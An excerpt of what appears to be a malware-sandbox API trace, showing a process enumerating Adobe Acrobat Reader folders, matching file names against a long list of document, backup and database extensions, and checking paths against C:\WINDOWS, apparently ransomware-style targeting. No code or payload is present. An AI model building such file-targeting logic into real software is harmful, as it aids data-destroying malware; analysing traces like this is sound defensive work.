	[0173.019] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".asc") returned 4
	[0173.020] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".ascx") returned 5
	[0173.020] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.020] lstrlenW (lpString=".asm") returned 4
	[0173.020] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".asmx") returned 5
	[0173.020] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.020] lstrlenW (lpString=".asp") returned 4
	[0173.020] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".aspx") returned 5
	[0173.020] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.020] lstrlenW (lpString=".asr") returned 4
	[0173.020] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".asx") returned 4
	[0173.020] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".avi") returned 4
	[0173.020] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".avs") returned 4
	[0173.020] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".backup") returned 7
	[0173.020] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.020] lstrlenW (lpString=".bak") returned 4
	[0173.020] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".bay") returned 4
	[0173.020] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".bd") returned 3
	[0173.020] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.020] lstrlenW (lpString=".bin") returned 4
	[0173.020] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".bmp") returned 4
	[0173.020] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".bz2") returned 4
	[0173.020] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.020] lstrlenW (lpString=".c") returned 2
	[0173.021] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.021] lstrlenW (lpString=".cdr") returned 4
	[0173.021] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cer") returned 4
	[0173.021] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cf") returned 3
	[0173.021] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.021] lstrlenW (lpString=".cfc") returned 4
	[0173.021] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cfm") returned 4
	[0173.021] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cfml") returned 5
	[0173.021] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.021] lstrlenW (lpString=".cfu") returned 4
	[0173.021] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".chm") returned 4
	[0173.021] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cin") returned 4
	[0173.021] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".class") returned 6
	[0173.021] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.021] lstrlenW (lpString=".clx") returned 4
	[0173.021] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".config") returned 7
	[0173.021] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.021] lstrlenW (lpString=".cpp") returned 4
	[0173.021] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".cr2") returned 4
	[0173.021] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.021] lstrlenW (lpString=".crt") returned 4
	[0173.022] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".crw") returned 4
	[0173.022] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".cs") returned 3
	[0173.022] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.022] lstrlenW (lpString=".css") returned 4
	[0173.022] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".csv") returned 4
	[0173.022] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".cub") returned 4
	[0173.022] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dae") returned 4
	[0173.022] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dat") returned 4
	[0173.022] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".db") returned 3
	[0173.022] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.022] lstrlenW (lpString=".dbf") returned 4
	[0173.022] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dbx") returned 4
	[0173.022] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dc3") returned 4
	[0173.022] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dcm") returned 4
	[0173.022] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dcr") returned 4
	[0173.022] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".der") returned 4
	[0173.022] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dib") returned 4
	[0173.022] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.022] lstrlenW (lpString=".dic") returned 4
	[0173.022] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dif") returned 4
	[0173.023] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".divx") returned 5
	[0173.023] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".djvu") returned 5
	[0173.023] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".dng") returned 4
	[0173.023] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".doc") returned 4
	[0173.023] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".docm") returned 5
	[0173.023] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".docx") returned 5
	[0173.023] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".dot") returned 4
	[0173.023] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dotm") returned 5
	[0173.023] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".dotx") returned 5
	[0173.023] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.023] lstrlenW (lpString=".dpx") returned 4
	[0173.023] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dqy") returned 4
	[0173.023] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dsn") returned 4
	[0173.023] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dt") returned 3
	[0173.023] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.023] lstrlenW (lpString=".dtd") returned 4
	[0173.023] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.023] lstrlenW (lpString=".dwg") returned 4
	[0173.024] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".dwt") returned 4
	[0173.024] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".dx") returned 3
	[0173.024] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.024] lstrlenW (lpString=".dxf") returned 4
	[0173.024] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".edml") returned 5
	[0173.024] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.024] lstrlenW (lpString=".efd") returned 4
	[0173.024] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".elf") returned 4
	[0173.024] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".emf") returned 4
	[0173.024] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.024] lstrlenW (lpString=".emz") returned 4
	[0173.024] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.024] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.024] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.025] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.025] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.025] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.025] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.025] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.025] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.026] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.026] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.026] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.026] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.026] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.124] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.124] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0173.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.124] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1
	[0173.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.335] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.337] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.337] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0173.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.337] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.337] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.337] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.338] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.338] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.338] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.338] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.338] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.339] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.339] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.339] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.339] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.339] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es") returned 115
	[0173.339] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es") returned 1
	[0173.339] lstrlenW (lpString="eu-es") returned 5
	[0173.339] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1
	[0173.340] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42e29c8
	[0173.340] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\eu-es") returned 115
